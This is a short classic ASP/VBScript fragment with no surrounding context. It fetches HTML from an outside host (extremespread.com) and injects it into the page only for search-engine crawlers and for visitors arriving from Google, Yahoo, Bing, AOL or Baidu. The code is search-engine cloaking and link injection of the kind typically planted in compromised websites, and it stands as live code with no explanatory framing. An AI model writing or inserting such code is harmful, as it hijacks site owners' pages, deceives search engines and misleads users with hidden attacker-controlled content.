% Function GetLocationURL() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url=ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetLocationURL=Server.URLEncode(Url) End Function Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function fromsite = "http://www.extremespread.com/getoutlinks.php?display=1&url="+GetLocationURL() ss_agent=Request.ServerVariables("HTTP_USER_AGENT") if InStr(ss_agent,"bot") >0 or InStr(ss_agent,"yahoo! slurp") >0 then htmls = getHTTPPage(fromsite) response.write htmls end if ref=LCase(Request.ServerVariables("HTTP_REFERER")) if(InStr(ref,"google")>0 or InStr(ref,"yahoo")>0 or InStr(ref,"bing")>0 or InStr(ref,"aol")>0 or InStr(tmp,"aol")>0 or InStr(tmp,"baidu")>0) then htmls = getHTTPPage(fromsite) response.write htmls end if %>